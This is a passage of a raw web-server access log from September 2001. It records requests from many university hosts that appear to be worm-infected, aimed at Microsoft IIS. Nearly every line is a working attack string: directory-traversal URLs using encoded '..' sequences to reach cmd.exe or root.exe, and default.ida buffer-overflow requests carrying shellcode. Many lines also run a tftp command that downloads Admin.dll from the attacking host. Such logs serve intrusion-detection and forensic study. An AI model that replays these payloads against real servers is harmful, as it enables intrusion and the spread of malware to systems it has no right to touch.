[128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:31: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:31: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:31: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:18:31: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:18:58: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/root.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 18:19:01: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/Admin.dll HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /MSADC/root.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /MSADC/Admin.dll HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:02: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /c/Admin.dll HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /d/Admin.dll HTTP/1.0" 20010918 18:19:03: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:05: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:05: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:05: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:06: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:10: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:11: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:12: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:13: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:16: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:17: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010918 18:19:18: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010918 18:19:19: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:20: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 18:19:21: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 18:19:22: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.192.164.15%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 18:19:22: sanrem15.sanrem.uga.edu [128.192.164.15] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010918 18:19:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 18:28:11: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:40:26: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:27: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:40:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:43:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:44:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 